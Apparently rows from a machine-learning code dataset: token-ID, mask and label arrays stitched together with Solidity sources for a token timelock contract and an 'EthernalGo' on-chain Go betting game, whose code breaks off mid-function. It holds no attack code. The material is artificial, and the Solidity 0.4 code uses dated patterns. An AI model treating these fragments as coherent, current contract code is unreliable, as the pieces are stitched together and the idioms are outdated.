1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
18305,
1265,
12,
2867,
389,
2080,
16,
2254,
5034,
389,
1132,
13,
1071,
1338,
5541,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
2583,
12,
12296,
951,
63,
67,
2080,
65,
1545,
16684,
951,
63,
67,
2080,
19226,
203,
3639,
3626,
605,
321,
24899,
2080,
16,
389,
1132,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
contract SimpleLock {
/******************
* STATE VARIABLES *
******************/
struct Lock {
bool claimed;
address creator;
address token;
uint256 amount;
uint256 lockStart;
uint256 unlockTime;
}
mapping(uint256 => Lock) private locks;
uint256 private nbLocks;
/*********
* EVENTS *
*********/
event Locked(
address indexed creator,
address token,
uint256 amount,
uint256 indexed unlockTime
);
event Claimed(
uint256 indexed id,
address indexed creator,
address token,
uint256 amount
);
/*********************
* EXTERNAL FUNCTIONS *
*********************/
// user needs to approve tokens to be spend by contract first
function lock(address _token, uint256 _amount, uint256 _daysLocked)
external
{
require(_daysLocked > 0, "No 0 day lock.");
require(_amount > 0, "No 0 token lock.");
uint256 unlockTime = block.timestamp + (_daysLocked * 86400);
locks[nbLocks] = Lock(
false,
msg.sender,
_token,
_amount,
block.timestamp,
unlockTime
);
IERC20(_token).transferFrom(msg.sender, address(this), _amount);
nbLocks++;
emit Locked(msg.sender, _token, _amount, unlockTime);
}
function claim(uint256 _id)
external
{
require(_id < nbLocks, "Invalid ID.");
require(msg.sender == locks[_id].creator, "Not lock creator.");
require(!(locks[_id].claimed), "Tokens already claimed.");
require(locks[_id].unlockTime < block.timestamp, "Can't unlock yet.");
IERC20(locks[_id].token).transfer(msg.sender, locks[_id].amount);
locks[_id].claimed = true;
emit Claimed(_id, msg.sender, locks[_id].token, locks[_id].amount);
}
function getLock(uint256 _id)
external view returns (Lock memory)
{
return locks[_id];
}
function getNbLocks()
external view returns (uint256)
{
return nbLocks;
}
}
|
***************** STATE VARIABLES /
|
struct Lock {
bool claimed;
address creator;
address token;
uint256 amount;
uint256 lockStart;
uint256 unlockTime;
}
mapping(uint256 => Lock) private locks;
uint256 private nbLocks;
event Locked(
address indexed creator,
address token,
uint256 amount,
uint256 indexed unlockTime
);
event Claimed(
uint256 indexed id,
address indexed creator,
address token,
uint256 amount
);
| 1,046,930 |
[
1,
7998,
22965,
55,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
1697,
3488,
288,
203,
202,
202,
6430,
7516,
329,
31,
203,
202,
202,
2867,
11784,
31,
203,
202,
202,
2867,
1147,
31,
203,
202,
202,
11890,
5034,
3844,
31,
203,
202,
202,
11890,
5034,
2176,
1685,
31,
203,
202,
202,
11890,
5034,
7186,
950,
31,
203,
202,
97,
203,
203,
202,
6770,
12,
11890,
5034,
516,
3488,
13,
3238,
13046,
31,
203,
202,
11890,
5034,
3238,
4264,
19159,
31,
203,
203,
202,
2575,
3488,
329,
12,
203,
202,
202,
2867,
8808,
11784,
16,
203,
202,
202,
2867,
1147,
16,
203,
202,
202,
11890,
5034,
3844,
16,
203,
202,
202,
11890,
5034,
8808,
7186,
950,
203,
202,
1769,
203,
203,
202,
2575,
18381,
329,
12,
203,
202,
202,
11890,
5034,
8808,
612,
16,
203,
202,
202,
2867,
8808,
11784,
16,
203,
202,
202,
2867,
1147,
16,
203,
202,
202,
11890,
5034,
3844,
203,
202,
1769,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Destructible.sol
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
function Destructible() public payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/payment/PullPayment.sol
/**
* @title PullPayment
* @dev Base contract supporting async send for pull payments. Inherit from this
* contract and use asyncSend instead of send.
*/
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
/**
* @dev withdraw accumulated balance, called by payee.
*/
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* @param dest The destination address of the funds.
* @param amount The amount to transfer.
*/
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
// File: contracts/GoGlobals.sol
/// @title The base contract for EthernalGo, contains the admin functions and the globals used throught the game
/// @author https://www.EthernalGo.com
/// @dev See the GoGameLogic and GoBoardMetaDetails contract documentation to understand the actual game mechanics.
contract GoGlobals is Ownable, PullPayment, Destructible, Pausable {
// Used for simplifying capture calculations
uint8 constant MAX_UINT8 = 255;
// Used to dermine player color and who is up next
enum PlayerColor {None, Black, White}
/// @dev Board status is a critical concept that determines which actions can be taken within each phase
/// WaitForOpponent - When the first player has registered and waiting for a second player
/// InProgress - The match is on! The acting player can choose between placing a stone or passing (or resigning)
/// WaitingToResolve - Both players chose to pass their turn and we are waiting for the winner to ask the contract for score count
/// BlackWin, WhiteWin, Draw - Pretty self explanatory
/// Canceled - The first player who joined the board is allowed to cancel a match if no opponent has joined yet
enum BoardStatus {WaitForOpponent, InProgress, WaitingToResolve, BlackWin, WhiteWin, Draw, Canceled}
// We staretd with a 9x9 rows
uint8 constant BOARD_ROW_SIZE = 9;
uint8 constant BOARD_SIZE = BOARD_ROW_SIZE ** 2;
// We use a shrinked board size to optimize gas costs
uint8 constant SHRINKED_BOARD_SIZE = 21;
// These are the shares each player and EthernalGo are getting for each game
uint public WINNER_SHARE;
uint public HOST_SHARE;
uint public HONORABLE_LOSS_BONUS;
// Each player gets PLAYER_TURN_SINGLE_PERIOD x PLAYER_START_PERIODS to act. These may change according to player feedback and network conjunction to optimize the playing experience
uint public PLAYER_TURN_SINGLE_PERIOD = 4 minutes;
uint8 public PLAYER_START_PERIODS = 5;
// We decided to restrict the table stakes to several options to allow for easier match-making
uint[] public tableStakesOptions;
// This is the main data field that contains access to all of the GoBoards that were created
GoBoard[] internal allBoards;
// The CFO is the only account that is allowed to withdraw funds
address public CFO;
// This is the main board structure and is instantiated for every new game
struct GoBoard {
// We use the last update to determine how long has it been since the player could act
uint lastUpdate;
// The table stakes marks how much ETH each participant needs to pay to register for the board
uint tableStakes;
// The board balance keeps track of how much ETH this board has in order to see if we already distributed the payments for this match
uint boardBalance;
// Black and white player addresses
address blackAddress;
address whiteAddress;
// Black and white time periods remaining (initially they will be PLAYER_START_PERIODS)
uint8 blackPeriodsRemaining;
uint8 whitePeriodsRemaining;
// Keep track of double pass to finish the game
bool didPassPrevTurn;
// Keep track of double pass to finish the game
bool isHonorableLoss;
// Who's next
PlayerColor nextTurnColor;
// Use a mapping to figure out which stone is set in which position. (Positions can be 0-BOARD_SIZE)
// @dev We decided not use an array to minimize the storage cost
mapping(uint8=>uint8) positionToColor;
// The board's current status
BoardStatus status;
}
/// @notice The constructor is called with our inital values, they will probably change but this is what had in mind when developing the game.
function GoGlobals() public Ownable() PullPayment() Destructible() {
// Add initial price tiers so from variouos ranges
addPriceTier(0.5 ether);
addPriceTier(1 ether);
addPriceTier(5 ether);
// These are the inital shares we've had in mind when developing the game
updateShares(950, 50, 5);
// The CFO will be the owner, but it will change soon after the contract is deployed
CFO = owner;
}
/// @notice In case we need extra price tiers (table stakes where people can play) we can add additional ones
/// @param price the price for the new price tier in WEI
function addPriceTier(uint price) public onlyOwner {
tableStakesOptions.push(price);
}
/// If we need to update price tiers
/// @param priceTier the tier index from the array
/// @param price the new price to set
function updatePriceTier(uint8 priceTier, uint price) public onlyOwner {
tableStakesOptions[priceTier] = price;
}
/// @notice If we need to adjust the amounts players or EthernalGo gets for each game
/// @param newWinnerShare the winner's share (out of 1000)
/// @param newHostShare EthernalGo's share (out of 1000)
/// @param newBonusShare Bonus that comes our of EthernalGo and goes to the loser in case of an honorable loss (out of 1000)
function updateShares(uint newWinnerShare, uint newHostShare, uint newBonusShare) public onlyOwner {
require(newWinnerShare + newHostShare == 1000);
WINNER_SHARE = newWinnerShare;
HOST_SHARE = newHostShare;
HONORABLE_LOSS_BONUS = newBonusShare;
}
/// @notice Separating the CFO and the CEO responsibilities requires the ability to set the CFO account
/// @param newCFO the new CFO
function setNewCFO(address newCFO) public onlyOwner {
require(newCFO != 0);
CFO = newCFO;
}
/// @notice Separating the CFO and the CEO responsibilities requires the ability to set the CFO account
/// @param secondsPerPeriod The number of seconds we would like each period to last
/// @param numberOfPeriods The number of of periods each player initially has
function updateGameTimes(uint secondsPerPeriod, uint8 numberOfPeriods) public onlyOwner {
PLAYER_TURN_SINGLE_PERIOD = secondsPerPeriod;
PLAYER_START_PERIODS = numberOfPeriods;
}
/// @dev Convinience function to access the shares
function getShares() public view returns(uint, uint, uint) {
return (WINNER_SHARE, HOST_SHARE, HONORABLE_LOSS_BONUS);
}
}
// File: contracts/GoBoardMetaDetails.sol
/// @title This contract manages the meta details of EthernalGo.
/// Registering to a board, splitting the revenues and other day-to-day actions that are unrelated to the actual game
/// @author https://www.EthernalGo.com
/// @dev See the GoGameLogic to understand the actual game mechanics and rules
contract GoBoardMetaDetails is GoGlobals {
/// @dev The player added to board event can be used to check upon registration success
event PlayerAddedToBoard(uint boardId, address playerAddress);
/// @dev The board updated status can be used to get the new board status
event BoardStatusUpdated(uint boardId, BoardStatus newStatus);
/// @dev The player withdrawn his accumulated balance
event PlayerWithdrawnBalance(address playerAddress);
/// @dev Simple wrapper to return the number of boards in total
function getTotalNumberOfBoards() public view returns(uint) {
return allBoards.length;
}
/// @notice We would like to easily and transparantly share the game's statistics with anyone and present on the web-app
function getCompletedGamesStatistics() public view returns(uint, uint) {
uint completed = 0;
uint ethPaid = 0;
// @dev Go through all the boards, we start with 1 as it's an unsigned int
for (uint i = 1; i <= allBoards.length; i++) {
// Get the current board
GoBoard storage board = allBoards[i - 1];
// Check if it was a victory, otherwise it's not interesting as the players just got their deposit back
if ((board.status == BoardStatus.BlackWin) || (board.status == BoardStatus.WhiteWin)) {
++completed;
// We need to query the table stakes as the board's balance will be zero once a game is finished
ethPaid += board.tableStakes.mul(2);
}
}
return (completed, ethPaid);
}
/// @dev At this point there is no support for returning dynamic arrays (it's supported for web3 calls but not for internal testing) so we will "only" present the recent 50 games per player.
uint8 constant PAGE_SIZE = 50;
/// @dev Make sure this board is in waiting for result status
modifier boardWaitingToResolve(uint boardId){
require(allBoards[boardId].status == BoardStatus.WaitingToResolve);
_;
}
/// @dev Make sure this board is in one of the end of game states
modifier boardGameEnded(GoBoard storage board){
require(isEndGameStatus(board.status));
_;
}
/// @dev Make sure this board still has balance
modifier boardNotPaid(GoBoard storage board){
require(board.boardBalance > 0);
_;
}
/// @dev Make sure this board still has a spot for at least one player to join
modifier boardWaitingForPlayers(uint boardId){
require(allBoards[boardId].status == BoardStatus.WaitForOpponent &&
(allBoards[boardId].blackAddress == 0 ||
allBoards[boardId].whiteAddress == 0));
_;
}
/// @dev Restricts games for the allowed table stakes
/// @param value the value we are looking for to register
modifier allowedValuesOnly(uint value){
bool didFindValue = false;
// The number of tableStakesOptions can change hence it has to be dynamic
for (uint8 i = 0; i < tableStakesOptions.length; ++ i) {
if (value == tableStakesOptions[i])
didFindValue = true;
}
require (didFindValue);
_;
}
/// @dev Checks a status if and returns if it's an end game
/// @param status the value we are checking
/// @return true if it's an end-game status
function isEndGameStatus(BoardStatus status) public pure returns(bool) {
return (status == BoardStatus.BlackWin) || (status == BoardStatus.WhiteWin) || (status == BoardStatus.Draw) || (status == BoardStatus.Canceled);
}
/// @dev Gets the update time for a board
/// @param boardId The id of the board to check
/// @return the update timestamp in seconds
function getBoardUpdateTime(uint boardId) public view returns(uint) {
GoBoard storage board = allBoards[boardId];
return (board.lastUpdate);
}
/// @dev Gets the current board status
/// @param boardId The id of the board to check
/// @return the current board status
function getBoardStatus(uint boardId) public view returns(BoardStatus) {
GoBoard storage board = allBoards[boardId];
return (board.status);
}
/// @dev Gets the current balance of the board
/// @param boardId The id of the board to check
/// @return the current board balance in WEI
function getBoardBalance(uint boardId) public view returns(uint) {
GoBoard storage board = allBoards[boardId];
return (board.boardBalance);
}
/// @dev Sets the current balance of the board, this is internal and is triggerred by functions run by external player actions
/// @param board The board to update
/// @param boardId The board's Id
/// @param newStatus The new status to set
function updateBoardStatus(GoBoard storage board, uint boardId, BoardStatus newStatus) internal {
// Save gas if we accidentally are trying to update to an existing update
if (newStatus != board.status) {
// Set the new board status
board.status = newStatus;
// Update the time (important for start and finish states)
board.lastUpdate = now;
// If this is an end game status
if (isEndGameStatus(newStatus)) {
// Credit the players accoriding to the board score
creditBoardGameRevenues(board);
}
// Notify status update
BoardStatusUpdated(boardId, newStatus);
}
}
/// @dev Overload to set the board status when we only have a boardId
/// @param boardId The boardId to update
/// @param newStatus The new status to set
function updateBoardStatus(uint boardId, BoardStatus newStatus) internal {
updateBoardStatus(allBoards[boardId], boardId, newStatus);
}
/// @dev Gets the player color given an address and board (overload for when we only have boardId)
/// @param boardId The boardId to check
/// @param searchAddress The player's address we are searching for
/// @return the player's color
function getPlayerColor(uint boardId, address searchAddress) internal view returns (PlayerColor) {
return (getPlayerColor(allBoards[boardId], searchAddress));
}
/// @dev Gets the player color given an address and board
/// @param board The board to check
/// @param searchAddress The player's address we are searching for
/// @return the player's color
function getPlayerColor(GoBoard storage board, address searchAddress) internal view returns (PlayerColor) {
// Check if this is the black player
if (board.blackAddress == searchAddress) {
return (PlayerColor.Black);
}
// Check if this is the white player
if (board.whiteAddress == searchAddress) {
return (PlayerColor.White);
}
// We aren't suppose to try and get the color of a player if they aren't on the board
revert();
}
/// @dev Gets the player address given a color on the board
/// @param boardId The board to check
/// @param color The color of the player we want
/// @return the player's address
function getPlayerAddress(uint boardId, PlayerColor color) public view returns(address) {
// If it's the black player
if (color == PlayerColor.Black) {
return allBoards[boardId].blackAddress;
}
// If it's the white player
if (color == PlayerColor.White) {
return allBoards[boardId].whiteAddress;
}
// We aren't suppose to try and get the color of a player if they aren't on the board
revert();
}
/// @dev Check if a player is on board (overload for boardId)
/// @param boardId The board to check
/// @param searchAddress the player's address we want to check
/// @return true if the player is playing in the board
function isPlayerOnBoard(uint boardId, address searchAddress) public view returns(bool) {
return (isPlayerOnBoard(allBoards[boardId], searchAddress));
}
/// @dev Check if a player is on board
/// @param board The board to check
/// @param searchAddress the player's address we want to check
/// @return true if the player is playing in the board
function isPlayerOnBoard(GoBoard storage board, address searchAddress) private view returns(bool) {
return (board.blackAddress == searchAddress || board.whiteAddress == searchAddress);
}
/// @dev Check which player acts next
/// @param boardId The board to check
/// @return The color of the current player to act
function getNextTurnColor(uint boardId) public view returns(PlayerColor) {
return allBoards[boardId].nextTurnColor;
}
/// @notice This is the first function a player will be using in order to start playing. This function allows
/// to register to an existing or a new board, depending on the current available boards.
/// Upon registeration the player will pay the board's stakes and will be the black or white player.
/// The black player also creates the board, and is the first player which gives a small advantage in the
/// game, therefore we decided that the black player will be the one paying for the additional gas
/// that is required to create the board.
/// @param tableStakes The tablestakes to use, although this appears in the "value" of the message, we preferred to
/// add it as an additional parameter for client use for clients that allow to customize the value parameter.
/// @return The boardId the player registered to (either a new board or an existing board)
function registerPlayerToBoard(uint tableStakes) external payable allowedValuesOnly(msg.value) whenNotPaused returns(uint) {
// Make sure the value and tableStakes are the same
require (msg.value == tableStakes);
GoBoard storage boardToJoin;
uint boardIDToJoin;
// Check which board to connect to
(boardIDToJoin, boardToJoin) = getOrCreateWaitingBoard(tableStakes);
// Add the player to the board (they already paid)
bool shouldStartGame = addPlayerToBoard(boardToJoin, tableStakes);
// Fire the event for anyone listening
PlayerAddedToBoard(boardIDToJoin, msg.sender);
// If we have both players, start the game
if (shouldStartGame) {
// Start the game
startBoardGame(boardToJoin, boardIDToJoin);
}
return boardIDToJoin;
}
/// @notice This function allows a player to cancel a match in the case they were waiting for an opponent for
/// a long time but didn't find anyone and would want to get their deposit of table stakes back.
/// That player may cancel the game as long as no opponent was found and the deposit will be returned in full (though gas fees still apply). The player will also need to withdraw funds from the contract after this action.
/// @param boardId The board to cancel
function cancelMatch(uint boardId) external {
// Get the player
GoBoard storage board = allBoards[boardId];
// Make sure this player is on board
require(isPlayerOnBoard(boardId, msg.sender));
// Make sure that the game hasn't started
require(board.status == BoardStatus.WaitForOpponent);
// Update the board status to cancel (which also triggers the revenue sharing function)
updateBoardStatus(board, boardId, BoardStatus.Canceled);
}
/// @dev Gets the current player boards to present to the player as needed
/// @param activeTurnsOnly We might want to highlight the boards where the player is expected to act
/// @return an array of PAGE_SIZE with the number of boards found and the actual IDs
function getPlayerBoardsIDs(bool activeTurnsOnly) public view returns (uint, uint[PAGE_SIZE]) {
uint[PAGE_SIZE] memory playerBoardIDsToReturn;
uint numberOfPlayerBoardsToReturn = 0;
// Look at the recent boards until you find a player board
for (uint currBoard = allBoards.length; currBoard > 0 && numberOfPlayerBoardsToReturn < PAGE_SIZE; currBoard--) {
uint boardID = currBoard - 1;
// We only care about boards the player is in
if (isPlayerOnBoard(boardID, msg.sender)) {
// Check if the player is the next to act, or just include it if it wasn't requested
if (!activeTurnsOnly || getNextTurnColor(boardID) == getPlayerColor(boardID, msg.sender)) {
playerBoardIDsToReturn[numberOfPlayerBoardsToReturn] = boardID;
++numberOfPlayerBoardsToReturn;
}
}
}
return (numberOfPlayerBoardsToReturn, playerBoardIDsToReturn);
}
/// @dev Creates a new board in case no board was found for a player to register
/// @param tableStakesToUse The value used to set the board
/// @return the id of new board (which is it's position in the allBoards array)
function createNewGoBoard(uint tableStakesToUse) private returns(uint, GoBoard storage) {
GoBoard memory newBoard = GoBoard({lastUpdate: now,
isHonorableLoss: false,
tableStakes: tableStakesToUse,
boardBalance: 0,
blackAddress: 0,
whiteAddress: 0,
blackPeriodsRemaining: PLAYER_START_PERIODS,
whitePeriodsRemaining: PLAYER_START_PERIODS,
nextTurnColor: PlayerColor.None,
status:BoardStatus.WaitForOpponent,
didPassPrevTurn:false});
uint boardId = allBoards.push(newBoard) - 1;
return (boardId, allBoards[boardId]);
}
/// @dev Creates a new board in case no board was found for a player to register
/// @param tableStakes The value used to set the board
/// @return the id of new board (which is it's position in the allBoards array)
function getOrCreateWaitingBoard(uint tableStakes) private returns(uint, GoBoard storage) {
bool wasFound = false;
uint selectedBoardId = 0;
GoBoard storage board;
// First, try to find a board that has an empty spot and the right table stakes
for (uint i = allBoards.length; i > 0 && !wasFound; --i) {
board = allBoards[i - 1];
// Make sure this board is already waiting and it's stakes are the same
if (board.tableStakes == tableStakes) {
// If this board is waiting for an opponent
if (board.status == BoardStatus.WaitForOpponent) {
// Awesome, we have the board and we are done
wasFound = true;
selectedBoardId = i - 1;
}
// If we found the rights stakes board but it isn't waiting for player we won't have another empty board.
// We need to create a new one
break;
}
}
// Create a new board if we couldn't find one
if (!wasFound) {
(selectedBoardId, board) = createNewGoBoard(tableStakes);
}
return (selectedBoardId, board);
}
/// @dev Starts the game and sets everything up for the match
/// @param board The board to update with the starting data
/// @param boardId The board's Id
function startBoardGame(GoBoard storage board, uint boardId) private {
// Make sure both players are present
require(board.blackAddress != 0 && board.whiteAddress != 0);
// The black is always the first player in GO
board.nextTurnColor = PlayerColor.Black;
// Save the game start time and set the game status to in progress
updateBoardStatus(board, boardId, BoardStatus.InProgress);
}
/// @dev Handles the registration of a player to a board
/// @param board The board to update with the starting data
/// @param paidAmount The amount the player paid to start playing (will be added to the board balance)
/// @return true if the game should be started
function addPlayerToBoard(GoBoard storage board, uint paidAmount) private returns(bool) {
// Make suew we are still waitinf for opponent (otherwise we can't add players)
bool shouldStartTheGame = false;
require(board.status == BoardStatus.WaitForOpponent);
// Check that the player isn't already on the board, otherwise they would pay twice for a single board... :(
require(!isPlayerOnBoard(board, msg.sender));
// We always add the black player first as they created the board
if (board.blackAddress == 0) {
board.blackAddress = msg.sender;
// If we have a black player, add the white player
} else if (board.whiteAddress == 0) {
board.whiteAddress = msg.sender;
// Once the white player has been added, we can start the match
shouldStartTheGame = true;
// If both addresses are occuipied and we got here, it's a problem
} else {
revert();
}
// Credit the board with what we know
board.boardBalance += paidAmount;
return shouldStartTheGame;
}
/// @dev Helper function to caclulate how much time a player used since now
/// @param lastUpdate the timestamp of last update of the board
/// @return the number of periods used for this time
function getTimePeriodsUsed(uint lastUpdate) private view returns(uint8) {
return uint8(now.sub(lastUpdate).div(PLAYER_TURN_SINGLE_PERIOD));
}
/// @notice Convinience function to help present how much time a player has.
/// @param boardId the board to check.
/// @param color the color of the player to check.
/// @return The number of time periods the player has, the number of seconds per each period and the total number of seconds for convinience.
function getPlayerRemainingTime(uint boardId, PlayerColor color) view external returns (uint, uint, uint) {
GoBoard storage board = allBoards[boardId];
// Always verify we can act
require(board.status == BoardStatus.InProgress);
// Get the total remaining time:
uint timePeriods = getPlayerTimePeriods(board, color);
uint totalTimeRemaining = timePeriods * PLAYER_TURN_SINGLE_PERIOD;
// If this is the acting player
if (color == board.nextTurnColor) {
// Calc time periods for player
uint timePeriodsUsed = getTimePeriodsUsed(board.lastUpdate);
if (timePeriods > timePeriodsUsed) {
timePeriods -= timePeriodsUsed;
} else {
timePeriods = 0;
}
// Calc total time remaining for player
uint timeUsed = (now - board.lastUpdate);
// Safely reduce the time used
if (totalTimeRemaining > timeUsed) {
totalTimeRemaining -= timeUsed;
// A player can't have less than zero time to act
} else {
totalTimeRemaining = 0;
}
}
return (timePeriods, PLAYER_TURN_SINGLE_PERIOD, totalTimeRemaining);
}
/// @dev After a player acted we might need to reduce the number of remaining time periods.
/// @param board The board the player acted upon.
/// @param color the color of the player that acted.
/// @param timePeriodsUsed the number of periods the player used.
function updatePlayerTimePeriods(GoBoard storage board, PlayerColor color, uint8 timePeriodsUsed) internal {
// Reduce from the black player
if (color == PlayerColor.Black) {
// The player can't have less than 0 periods remaining
board.blackPeriodsRemaining = board.blackPeriodsRemaining > timePeriodsUsed ? board.blackPeriodsRemaining - timePeriodsUsed : 0;
// Reduce from the white player
} else if (color == PlayerColor.White) {
// The player can't have less than 0 periods remaining
